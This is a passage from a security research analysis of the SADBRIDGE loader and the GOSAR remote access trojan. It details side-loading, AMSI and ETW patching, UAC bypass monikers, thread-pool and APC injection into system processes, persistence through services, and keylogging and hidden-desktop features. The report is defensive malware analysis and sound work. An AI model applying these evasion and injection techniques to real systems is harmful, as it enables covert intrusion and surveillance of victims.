<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image30.png" alt="Control flow diagram showing call to BridgeStart" /></p>
<p>Similar to techniques observed with <a href="https://www.elastic.co/jp/security-labs/blister-loader">BLISTER</a>, SADBRIDGE patches the export of a legitimate DLL.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image7.png" alt="Comparison of BridgeStart export from x64bridge.dll" /></p>
<p>During the malware initialization routine, SADBRIDGE begins with generating a hash using the hostname and a magic seed <code>0x4E67C6A7</code>. This hash is used as a directory name for storing the encrypted configuration file. The encrypted configuration is written to <code>C:\Users\Public\Documents\&lt;hostname_hash&gt;\edbtmp.log</code>. This file contains the attributes FILE_ATTRIBUTE_SYSTEM, FILE_ATTRIBUTE_READONLY, FILE_ATTRIBUTE_HIDDEN  to hide itself from an ordinary directory listing.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image8.png" alt="Configuration file hidden from users" /></p>
<p>Decrypting the configuration is straightforward, the encrypted chunks are separated with null bytes. For each byte within the encrypted chunks, we can increment them by <code>0x1</code>.</p>
<p>The configuration consists of:</p>
<ul>
<li>Possible campaign date</li>
<li>Strings to be used for creating services</li>
<li>New name for MonitoringHost.exe (<code>DevQueryBroker.exe</code>)</li>
<li>DLL name for the DLL to be sideloaded by MonitoringHost.exe (<code>HealthServiceRuntime.dll</code>)</li>
<li>Absolute paths for additional stages (<code>.log</code> files)</li>
<li>The primary injection target for hosting GOSAR (<code>svchost.exe</code>)</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image27.png" alt="SADBRIDGE configuration" /></p>
<p>The <code>DevQueryBroker</code> directory (<code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\</code>) contains all of the encrypted stages (<code>.log</code> files) that are decrypted at runtime. The file (<code>DevQueryBroker.exe</code>) is a renamed copy of Microsoft legitimate application (<code>MonitoringHost.exe</code>).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image18.png" alt="File listing of the DevQueryBroker folder" /></p>
<p>Finally, it creates a process to run <code>DevQueryBroker.exe</code> which side-loads the malicious <code>HealthServiceRuntime.dll</code> in the same folder.</p>
<h4>HealthServiceRuntime.dll</h4>
<p>This module drops both an encrypted and partially decrypted shellcode in the User’s <code>%TEMP%</code> directory. The file name for the shellcode follows the format: <code>log&lt;random_string&gt;.tmp</code>. Each byte of the partially decrypted shellcode is then decremented by <code>0x10</code> to fully decrypt. The shellcode is executed in a new thread of the same process.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image10.png" alt="Decryption of a shellcode in HealthServiceRuntime.dll" /></p>
<p>The malware leverages API hashing using the same algorithm in <a href="https://www.sonicwall.com/blog/project-androm-backdoor-trojan">research</a> published by SonicWall, the hashing algorithm is listed in the Appendix <a href="#appendix">section</a>. The shellcode decrypts <code>DevQueryBroker.log</code> into a PE file then performs a simple XOR operation with a single byte (<code>0x42)</code> in the first third of the file where then it decompresses the result using the LZNT1 algorithm.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image3.png" alt="Shellcode decrypting DevQueryBroker.log file" /></p>
<p>The shellcode then unmaps any existing mappings at the PE file's preferred base address using <code>NtUnmapViewOfSection</code>, ensuring that a call to <code>VirtualAlloc</code> will allocate memory starting at the preferred base address. Finally, it maps the decrypted PE file to this allocated memory and transfers execution to its entry point. All shellcodes identified and executed by SADBRIDGE share an identical code structure, differing only in the specific <code>.log</code> files they reference for decryption and execution.</p>
<h4>DevQueryBroker.log</h4>
<p>The malware dynamically loads <code>amsi.dll</code> to disable critical security mechanisms in Windows. It patches <code>AmsiScanBuffer</code> in <code>amsi.dll</code> by inserting instructions to modify the return value to <code>0x80070057</code>, the standardized Microsoft error code <code>E_INVALIDARG</code> indicating invalid arguments, and returning prematurely, to effectively bypass the scanning logic. Similarly, it patches <code>AmsiOpenSession</code> to always return the same error code <code>E_INVALIDARG</code>. Additionally, it patches <code>EtwEventWrite</code> in <code>ntdll.dll</code>, replacing the first instruction with a <code>ret</code> instruction to disable Event Tracing for Windows (ETW), suppressing any logging of malicious activity.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image17.png" alt="Patching AmsiScanBuffer, AmsiOpenSession and EtwEventWrite APIs" /></p>
<p>Following the patching, an encrypted shellcode is written to <code>temp.ini</code> at path (<code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini</code>).<br />
The malware checks the current process token’s group membership to determine its privilege level. It verifies if the process belongs to the LocalSystem account by initializing a SID with the <code>SECURITY_LOCAL_SYSTEM_RID</code> and calling <code>CheckTokenMembership</code>. If not, it attempts to check for membership in the Administrators group by creating a SID using <code>SECURITY_BUILTIN_DOMAIN_RID</code> and <code>DOMAIN_ALIAS_RID_ADMINS</code> and performing a similar token membership check.</p>
<p>If the current process does not have LocalSystem or Administrator privileges, privileges are first elevated to Administrator through a <a href="https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512">UAC bypass mechanism</a> by leveraging the <code>ICMLuaUtil</code> COM interface. It crafts a moniker string <code>&quot;Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}&quot;</code> to create an instance of the <code>CMSTPLUA</code> object with Administrator privileges. Once the object is created and the <code>ICMLuaUtil</code> interface is obtained, the malware uses the exposed <code>ShellExec</code> method of the interface to run <code>DevQueryBroker.exe</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image11.png" alt="Privilege Escalation via ICMLuaUtil COM interface" /></p>
<p>If a task or a service is not created to run <code>DevQueryBroker.exe</code> routinely, the malware checks if the Anti-Virus process <code>360tray.exe</code> is running. If it is not running, a service is created for privilege escalation to SYSTEM, with the following properties:</p>
<ul>
<li>Service name: <strong>DevQueryBrokerService</strong><br />
Binary path name: <strong>“C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\DevQueryBroker.exe -svc”</strong>.</li>
<li>Display name: <strong>DevQuery Background Discovery Broker Service</strong></li>
<li>Description: <strong>Enables apps to discover devices with a background task.</strong></li>
<li>Start type: <strong>Automatically at system boot</strong></li>
<li>Privileges: <strong>LocalSystem</strong></li>
</ul>
<p>If <code>360tray.exe</code> is detected running, the malware writes an encrypted PE file to <code>DevQueryBrokerService.log</code>, then maps a next-stage PE file (Stage 1) into the current process memory, transferring execution to it.</p>
<p>Once <code>DevQueryBroker.exe</code> is re-triggered with SYSTEM level privileges and reaches this part of the chain, the malware checks the Windows version. For systems running Vista or later (excluding Windows 7), it maps another next-stage (Stage 2) into memory and transfers execution there.</p>
<p>On Windows 7, however, it executes a shellcode, which decrypts and runs the <code>DevQueryBrokerPre.log</code> file.</p>
<h3>Stage 1 Injection (explorer.exe)</h3>
<p>SADBRIDGE utilizes <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">PoolParty Variant 7</a> to inject shellcode into <code>explorer.exe</code> by targeting its thread pool’s I/O completion queue. It first duplicates a handle to the target process's I/O completion queue. It then allocates memory within <code>explorer.exe</code> to store the shellcode. Additional memory is allocated to store a crafted <a href="https://github.com/SafeBreach-Labs/PoolParty/blob/77e968b35f4bad74add33ea8a2b0b5ed9543276c/PoolParty/ThreadPool.hpp#L42"><code>TP_DIRECT</code></a> structure, which includes the base address of the shellcode as the callback address. Finally, it calls <code>ZwSetIoCompletion</code>, passing a pointer to the <code>TP_DIRECT</code> structure to queue a packet to the I/O completion queue of the target process's worker factory (worker threads manager), effectively triggering the execution of the injected shellcode.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image21.png" alt="I/O Completion Port Shellcode Injection" /></p>
<p>This shellcode decrypts the <code>DevQueryBrokerService.log</code> file, unmaps any memory regions occupying its preferred base address, maps the PE file to that address, and then executes its entry point. This behavior mirrors the previously observed shellcode.</p>
<h3>Stage 2 Injection (spoolsv.exe/lsass.exe)</h3>
<p>For Stage 2, SADBRIDGE injects shellcode into <code>spoolsv.exe</code>, or <code>lsass.exe</code> if <code>spoolsv.exe</code> is unavailable, using the same injection technique as in Stage 1. The shellcode exhibits similar behavior to the earlier stages: it decrypts <code>DevQueryBrokerPre.log</code> into a PE file, unmaps any regions occupying its preferred base address, maps the PE file, and then transfers execution to its entry point.</p>
<h4>DevQueryBrokerService.log</h4>
<p>The shellcode decrypted from <code>DevQueryBrokerService.log</code> as mentioned in the previous section leverages a privilege escalation technique using the Windows Task Scheduler. SADBRIDGE integrates a public UAC <a href="https://github.com/zcgonvh/TaskSchedulerMisc">bypass technique</a> using the <code>IElevatedFactorySever</code> COM object to indirectly create the scheduled task. This task is configured to run <code>DevQueryBroker.exe</code> on a daily basis with SYSTEM level privileges using the task name <code>DevQueryBrokerService</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image9.png" alt="GUID in Scheduled Task Creation (Virtual Factory for MaintenanceUI)" /></p>
<p>In order to cover its tracks, the malware spoofs the image path and command-line by modifying the Process Environment Block (PEB) directly, likely in an attempt to disguise the COM service as coming from <code>explorer.exe</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image13.png" alt="DevQueryBrokerService.log Spoofed Image Command-Line" /></p>
<h4>DevQueryBrokerPre.log</h4>
<p>SADBRIDGE creates a service named <code>DevQueryBrokerServiceSvc</code> under the registry subkey <code>SYSTEM\CurrentControlSet\Services\DevQueryBrokerServiceSvc</code> with the following attributes:</p>
<ul>
<li><strong>Description</strong>: Enables apps to discover devices with a background task.</li>
<li><strong>DisplayName</strong>: DevQuery Background Discovery Broker Service</li>
<li><strong>ErrorControl</strong>: 1</li>
<li><strong>ImagePath</strong>: <code>%systemRoot%\system32\svchost.exe -k netsvcs</code></li>
<li><strong>ObjectName</strong>: LocalSystem</li>
<li><strong>Start</strong>: 2 (auto-start)</li>
<li><strong>Type</strong>: 16.</li>
<li><strong>Failure Actions</strong>:
<ul>
<li>Resets failure count every 24 hours.</li>
<li>Executes three restart attempts: a 20ms delay for the first, and a 1-minute delay for the second and third.</li>
</ul>
</li>
</ul>
<p>The service parameters specify the <code>ServiceDll</code> located at <code>C:\Program Files (x86)\Common Files\Microsoft Shared\Stationery\&lt;hostname_hash&gt;\DevQueryBrokerService.dll</code>. If the DLL file does not exist, it will be dropped to disk right after.</p>
<p><code>DevQueryBrokerService.dll</code> has a similar code structure as <code>HealthServiceRuntime.dll</code>, which is seen in the earlier stages of the execution chain. It is responsible for decrypting <code>DevQueryBroker.log</code> and running it. The <code>ServiceDll</code> will be loaded and executed by <code>svchost.exe</code> when the service starts.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image12.png" alt="svchost.exe’s malicious ServiceDLL parameter" /></p>
<p>Additionally, it modifies the <code>SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs</code> key to include an entry for <code>DevQueryBrokerServiceSvc</code> to integrate the newly created service into the group of services managed by the <code>netsvcs</code> service host group.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image19.png" alt="Modifies the netsvc registry key to add DevQueryBrokerServiceSvc" /></p>
<p>SADBRIDGE then deletes the scheduled task and service created previously by removing the registry subkeys <code>SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\DevQueryBrokerService</code> and <code>SYSTEM\\CurrentControlSet\\Services\\DevQueryBrokerService</code>.</p>
<p>Finally, it removes the files <code>DevQueryBroker.exe</code> and <code>HealthServiceRuntime.dll</code> in the <code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker</code> folder, as the new persistence mechanism is in place.</p>
<h2>GOSAR Injection</h2>
<p>In the latter half of the code, SADBRIDGE enumerates all active sessions on the local machine using the <code>WTSEnumerateSessionsA</code> API.</p>
<p>If sessions are found, it iterates through each session:</p>
<ul>
<li>For each session, it attempts to retrieve the username (<code>WTSUserName</code>) using <code>WTSQuerySessionInformationA</code>. If the query fails, it moves to the next session.</li>
<li>If <code>WTSUserName</code> is not empty, the code targets <code>svchost.exe</code>, passing its path, the session ID, and the content of the loader configuration to a subroutine that injects the final stage.</li>
<li>If <code>WTSUserName</code> is empty but the session's <code>WinStationName</code> is <code>&quot;Services&quot;</code> (indicating a service session), it targets <code>dllhost.exe</code> instead, passing the same parameters to the final stage injection subroutine.</li>
</ul>
<p>If no sessions are found, it enters an infinite loop to repeatedly enumerate sessions and invoke the subroutine for injecting the final stage, while performing checks to avoid redundant injections.</p>
<p>Logged-in sessions target <code>svchost.exe</code>, while service sessions or sessions without a logged-in user target <code>dllhost.exe</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image6.png" alt="Enumeration of active sessions" /></p>
<p>If a session ID is available, the code attempts to duplicate the user token for that session and elevate the duplicated token's integrity level to <code>S-1-16-12288</code> (System integrity). It then uses the elevated token to create a child process (<code>svchost.exe</code> or <code>dllhost.exe</code>) via <code>CreateProcessAsUserA</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image4.png" alt="Duplication of user token and elevating token privileges" /></p>
<p>If token manipulation fails or no session ID is available (system processes can have a session ID of 0), it falls back to creating a process without a token using <code>CreateProcessA</code>.</p>
<p>The encrypted shellcode <code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini</code> is decrypted using the same XOR and LZNT1 decompression technique seen previously to decrypt <code>.log</code> files, and APC injection is used to queue the shellcode for execution in the newly created process’s thread.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image2.png" alt="APC injection to run GOSAR" /></p>
<p>Finally, the injected shellcode decrypts <code>DevQueryBrokerCore.log</code> to GOSAR and runs it in the newly created process’s memory.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image33.png" alt="GOSAR injected into dllhost.exe and svchost.exe" /></p>
<h2>GOSAR Introduction</h2>
<p>GOSAR is a multi-functional remote access trojan found targeting Windows and Linux systems. This backdoor includes capabilities such as retrieving system information, taking screenshots, executing commands, keylogging, and much more. The GOSAR backdoor retains much of QUASAR's core functionality and behavior, while incorporating several modifications that differentiate it from the original version.</p>
<p>By rewriting malware in modern languages like Go, this can offer reduced detection rates as many antivirus solutions and malware classifiers struggle to identify malicious strings/characteristics under these new programming constructs. Below is a good example of an unpacked GOSAR receiving only 5 detections upon upload.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image29.png" alt="Low detection rate on GOSAR VT upload" /></p>
<p>Notably, this variant supports multiple platforms, including ELF binaries for Linux systems and traditional PE files for Windows. This cross-platform capability aligns with the adaptability of Go, making it more versatile than the original .NET-based QUASAR. Within the following section, we will focus on highlighting GOSAR’s code structure, new features and additions compared to the open-source version (QUASAR).</p>
<h2>GOSAR Code Analysis Overview</h2>
<h3>Code structure of GOSAR</h3>
<p>As the binary retained all its symbols, we were able to reconstruct the source code structure, which was extracted from a sample of version <code>0.12.01</code></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image26.png" alt="GOSAR code structure" /></p>
<ul>
<li><strong>vibrant/config</strong>: Contains the configuration files for the malware.</li>
<li><strong>vibrant/proto</strong>: Houses all the Google Protocol Buffers (proto) declarations.</li>
<li><strong>vibrant/network</strong>: Includes functions related to networking, such as the main connection loop, proxy handling and also thread to configure the firewall and setting up a listener</li>
<li><strong>vibrant/msgs/resolvers</strong>: Defines the commands handled by the malware. These commands are assigned to an object within the <code>vibrant_msgs_init*</code> functions.</li>
<li><strong>vibrant/msgs/services</strong>: Introduces new functionality, such as running services like keyloggers, clipboard logger, these services are started in the <code>vibrant_network._ptr_Connection.Start</code> function.</li>
<li><strong>vibrant/logs</strong>: Responsible for logging the malware’s execution. The logs are encrypted with an AES key stored in the configuration. The malware decrypts the logs in chunks using AES.</li>
<li><strong>vibrant/pkg/helpers</strong>: Contains helper functions used across various malware commands and services.</li>
<li><strong>vibrant/pkg/screenshot</strong>: Handles the screenshot capture functionality on the infected system.</li>
<li><strong>vibrant/pkg/utils</strong>: Includes utility functions, such as generating random values.</li>
<li><strong>vibrant/pkg/native</strong>: Provides functions for calling Windows API (WINAPI) functions.</li>
</ul>
<h3>New Additions to GOSAR</h3>
<h4>Communication and information gathering</h4>
<p>This new variant continues to use the same communication method as the original, based on <strong>TCP TLS</strong>. Upon connection, it first sends system information to the C2, with 4 new fields added:</p>
<ul>
<li>IPAddress</li>
<li>AntiVirus</li>
<li>ClipboardSettings</li>
<li>Wallets</li>
</ul>
<p>The list of AntiViruses and digital wallets are initialized in the function <code>vibrant_pkg_helpers_init</code> and can be found at the bottom of this document.</p>
<h4>Services</h4>
<p>The malware handles 3 services that are started during the initial connection of the client to the C2:</p>
<ul>
<li>vibrant_services_KeyLogger</li>
<li>vibrant_services_ClipboardLogger</li>
<li>vibrant_services_TickWriteFile</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image22.png" alt="GOSAR services" /></p>
<h5>KeyLogger</h5>
<p>The keylogging functionality in GOSAR is implemented in the <code>vibrant_services_KeyLogger</code> function. This feature relies on Windows APIs to intercept and record keystrokes on the infected system by setting a global Windows hook with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa"><code>SetWindowsHookEx</code></a> with the parameter <code>WH_KEYBOARD_LL</code> to monitor low-level keyboard events. The hook function is named <code>vibrant_services_KeyLogger_func1</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image28.png" alt="GOSAR setting the keylogger" /></p>
<h5>ClipboardLogger</h5>
<p>The clipboard logging functionality is straightforward and relies on Windows APIs. It first checks for the availability of clipboard data using <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-isclipboardformatavailable"><code>IsClipboardFormatAvailable</code></a> then retrieves it using <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getclipboarddata"><code>GetClipboardData</code></a> API.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image34.png" alt="GOSAR clipboard logging" /></p>
<h5>TickWriteFile</h5>
<p>Both <code>ClipboardLogger</code> and <code>KeyLogger</code> services collect data that is written by the <code>TickWriteFile</code> periodically to directory (<code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\diagnostics</code>) under a file of the current date, example <code>2024-11-27</code>.<br />
It can be decrypted by first subtracting the value <code>0x1f</code> then xoring it with the value <code>0x18</code> as shown in the CyberChef recipe.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image24.png" alt="CyberChef recipe used to decrypt keylogger logs" /></p>
<h4>Networking setup</h4>
<p>After initializing its services, the malware spawns <strong>three threads</strong> dedicated to its networking setup.</p>
<ul>
<li>vibrant_network_ConfigFirewallRule</li>
<li>vibrant_network_ConfigHosts</li>
<li>vibrant_network_ConfigAutoListener</li>
</ul>
<p><a href="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image15.png">Threads handling networking setup</a></p>
<h5>ConfigFirewallRule</h5>
<p>The malware creates an inbound firewall rule for the ports range <code>51756-51776</code> under a Chinese name that is translated to <code>Distributed Transaction Coordinator (LAN)</code> it allows all programs and IP addresses inbound the description is set to :<code>Inbound rules for the core transaction manager of the Distributed Transaction Coordinator service are managed remotely through RPC/TCP.</code></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image23.png" alt="Added firewall rule" /></p>
<h5>ConfigHosts</h5>
<p>This function adds an entry to <code>c:\Windows\System32\Drivers\etc\hosts</code> the following <code>127.0.0.1 micrornetworks.com</code>. The reason for adding this entry is unclear, but it is likely due to missing functionalities or incomplete features in the malware's current development stage.</p>
<h5>ConfigAutoListener</h5>
<p>This functionality of the malware runs an HTTP server listener on the first available port within the range <code>51756-51776</code>, which was previously allowed by a firewall rule. Interestingly, the server does not handle any commands, which proves that the malware is still under development. The current version we have only processes a <code>GET</code> request to the URI <code>/security.js</code>, responding with the string <code>callback();</code>, any other request returns a 404 error code. This minimal response could indicate that the server is a placeholder or part of an early development stage, with the potential for more complex functionalities to be added later</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image5.png" alt="Callback handled by GOSAR" /></p>
<h4>Logs</h4>
<p>The malware saves its runtime logs in the directory: <code>%APPDATA%\Roaming\Microsoft\Logs</code> under the filename formatted as: <code>windows-update-log-&lt;YearMonthDay&gt;.log</code>.<br />
Each log entry is encrypted with HMAC-AES algorithm; the key is hardcoded in the <code>vibrant_config</code> function, the following is an example:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image16.png" alt="Logs example generated by GOSAR" /></p>
<p>The attacker can remotely retrieve the malware's runtime logs by issuing the command <code>ResolveGetRunLogs</code>.</p>
<h4>Plugins</h4>
<p>The malware has the capability to execute plugins, which are PE files downloaded from the C2 and stored on disk encrypted with an XOR algorithm. These plugins are saved at the path: <code>C:\ProgramData\policy-err.log</code>. To execute a plugin, the command <code>ResolveDoExecutePlugin</code> is called, it first checks if a plugin is available.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image35.png" alt="GOSAR checking for existence of a plugin to execute" /></p>
<p>It then loads a native DLL reflectively that is stored in base64 format in the binary named <code>plugins.dll</code> and executes its export function <code>ExecPlugin</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image25.png" alt="GOSAR loading plugins.dlll and calling ExecPlugin" /></p>
<p><code>ExecPlugin</code> creates a suspended process of <code>C:\Windows\System32\msiexec.exe</code> with the arguments <code>/package</code> <code>/quiet</code>. It then queues <a href="https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls">Asynchronous Procedure Calls</a> (APC) to the process's 	main thread. When the thread is resumed, the queued shellcode is executed.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image36.png" alt="GOSAR plugin module injecting a PE in msiexec.exe" /></p>
<p>The shellcode reads the encrypted plugin stored at <code>C:\ProgramData\policy-err.log</code>, decrypts it using a hardcoded 1-byte XOR key, and reflectively loads and executes it.</p>
<h4>HVNC</h4>
<p>The malware supports hidden VNC(HVNC) through the existing socket, it exposes 5 commands</p>
<ul>
<li>ResolveHVNCCommand</li>
<li>ResolveGetHVNCScreen</li>
<li>ResolveStopHVNC</li>
<li>ResolveDoHVNCKeyboardEvent</li>
<li>ResolveDoHVNCMouseEvent</li>
</ul>
<p>The first command that is executed is <code>ResolveGetHVNCScreen</code> which will first initialise it and set up a view, it uses an embedded native DLL <code>HiddenDesktop.dll</code> in base64 format, the DLL is reflectively loaded into memory and executed.</p>
<p>The DLL is responsible for executing low level APIs to setup the HVNC, with a total of 7 exported functions:</p>
<ul>
<li>ExcuteCommand</li>
<li>DoMouseScroll</li>
<li>DoMouseRightClick</li>
<li>DoMouseMove</li>
<li>DoMouseLeftClick</li>
<li>DoKeyPress</li>
<li>CaptureScreen</li>
</ul>
<p>The first export function called is <code>Initialise</code> to initialise a desktop with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-createdesktopa"><code>CreateDesktopA</code></a> API. This HVNC implementation handles 17 commands in total that can be found in <code>ExcuteCommand</code> export, as noted it does have a typo in the name, the command ID is forwarded from the malware’s command <code>ResolveHVNCCommand</code> that will call <code>ExcuteCommand</code>.</p>
<table>
<thead>
<tr>
<th align="left">Command ID</th>
<th align="left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">0x401</td>
<td align="left">The function first disables taskbar button grouping by setting the <code>TaskbarGlomLevel</code> registry key to <code>2</code> under <code>Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced</code>. Next, it ensures the taskbar is always visible and on top by using <code>SHAppBarMessage</code> with the <code>ABM_SETSTATE</code> command, setting the state to <code>ABS_ALWAYSONTOP</code>.</td>
</tr>
<tr>
<td align="left">0x402</td>
<td align="left">Spawns a RUN dialog box by executing the 61th export function of <code>shell32.dll</code>.<code>C:\Windows\system32\rundll32.exe shell32.dll,#61</code></td>
</tr>
<tr>
<td align="left">0x403</td>
<td align="left">Runs an instance of <code>powershell.exe</code></td>
</tr>
<tr>
<td align="left">0x404</td>
<td align="left">Executes a PE file stored in <code>C:\\ProgramData\\shell.log</code></td>
</tr>
<tr>
<td align="left">0x405</td>
<td align="left">Runs an instance of <code>chrome.exe</code></td>
</tr>
<tr>
<td align="left">0x406</td>
<td align="left">Runs an instance of <code>msedge.exe</code></td>
</tr>
<tr>
<td align="left">0x407</td>
<td align="left">Runs an instance of <code>firefox.exe</code></td>
</tr>
<tr>
<td align="left">0x408</td>
<td align="left">Runs an instance of <code>iexplore.exe</code></td>
</tr>
<tr>
<td align="left">0x409</td>
<td align="left">Runs an instance of <code>360se.exe</code></td>
</tr>
<tr>
<td align="left">0x40A</td>
<td align="left">Runs an instance of <code>360ChromeX.exe</code>.</td>
</tr>
<tr>
<td align="left">0x40B</td>
<td align="left">Runs an instance of <code>SogouExplorer.exe</code></td>
</tr>
<tr>
<td align="left">0x40C</td>
<td align="left">Close current window</td>
</tr>
<tr>
<td align="left">0x40D</td>
<td align="left">Minimizes the specified window</td>
</tr>
<tr>
<td align="left">0x40E</td>
<td align="left">Activates the window and displays it as a maximized window</td>
</tr>
<tr>
<td align="left">0x40F</td>
<td align="left">Kills the process of a window</td>
</tr>
<tr>
<td align="left">0x410</td>
<td align="left">Sets the clipboard</td>
</tr>
<tr>
<td align="left">0x411</td>
<td align="left">Clears the Clipboard</td>
</tr>
</tbody>
</table>
<h4>Screenshot</h4>
<p>The malware loads reflectively the third and last PE DLL embedded in base64 format named <code>Capture.dll</code>, it has 5 export functions:</p>
<ul>
<li>CaptureFirstScreen</li>
<li>CaptureNextScreen</li>
<li>GetBitmapInfo</li>
<li>GetBitmapInfoSize</li>
<li>SetQuality</li>
</ul>
<p>The library is first initialized by calling <code>resolvers_ResolveGetBitmapInfo</code> that reflectively loads and executes its <code>DllEntryPoint</code> which will setup the screen capture structures using common Windows APIs like <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createcompatibledc"><code>CreateCompatibleDC</code></a>, <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createcompatiblebitmap"><code>CreateCompatibleBitmap</code></a> and <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createdibsection"><code>CreateDIBSection</code></a>. The 2 export functions <code>CaptureFirstScreen</code> and <code>CaptureNextScreen</code> are used to capture a screenshot of the victim's desktop as a JPEG image.</p>
<h3>Observation</h3>
<p>Interestingly, the original .NET QUASAR server can still be used to receive beaconing from GOSAR samples, as they have retained the same communication protocol. However, operational use of it would require significant modifications to support GOSAR functionalities.</p>
<p>It is unclear whether the authors updated or extended the open source .NET QUASAR server, or developed a completely new one. It is worth mentioning that they have retained the default listening port, 1080, consistent with the original implementation.</p>
<h3>New functionality</h3>
<p>The following table provides a description of all the newly added commands:</p>
<table>
<thead>
<tr>
<th align="left">New commands</th>
<th align="left"></th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">ResolveDoRoboCopy</td>
<td align="left">Executes <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy"><code>RoboCopy</code></a> command to copy files</td>
</tr>
<tr>
<td align="left">ResolveDoCompressFiles</td>
<td align="left">Compress files in a zip format</td>
</tr>
<tr>
<td align="left">ResolveDoExtractFile</td>
<td align="left">Extract a zip file</td>
</tr>
<tr>
<td align="left">ResolveDoCopyFiles</td>
<td align="left">Copies a directory or file in the infected machine</td>
</tr>
<tr>
<td align="left">ResolveGetRunLogs</td>
<td align="left">Get available logs</td>
</tr>
<tr>
<td align="left">ResolveHVNCCommand</td>
<td align="left">Execute a HVNC command</td>
</tr>
<tr>
<td align="left">ResolveGetHVNCScreen</td>
<td align="left">Initiate HVNC</td>
</tr>
<tr>
<td align="left">ResolveStopHVNC</td>
<td align="left">Stop the HVNC session</td>
</tr>
<tr>
<td align="left">ResolveDoHVNCKeyboardEvent</td>
<td align="left">Send keyboard event to the HVNC</td>
</tr>
<tr>
<td align="left">ResolveDoHVNCMouseEvent</td>
<td align="left">Send mouse event to the HVNC</td>
</tr>
<tr>
<td align="left">ResolveDoExecutePlugin</td>
<td align="left">Execute a plugin</td>
</tr>
<tr>
<td align="left">ResolveGetProcesses</td>
<td align="left">Get a list of running processes</td>
</tr>
<tr>
<td align="left">ResolveDoProcessStart</td>
<td align="left">Start a process</td>
</tr>
<tr>
<td align="left">ResolveDoProcessEnd</td>
<td align="left">Kill a process</td>
</tr>
<tr>
<td align="left">ResolveGetBitmapInfo</td>
<td align="left">Retrieve the <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-bitmapinfo"><strong>BITMAPINFO</strong></a> structure for the current screen's display settings</td>
</tr>
<tr>
<td align="left">ResolveGetMonitors</td>
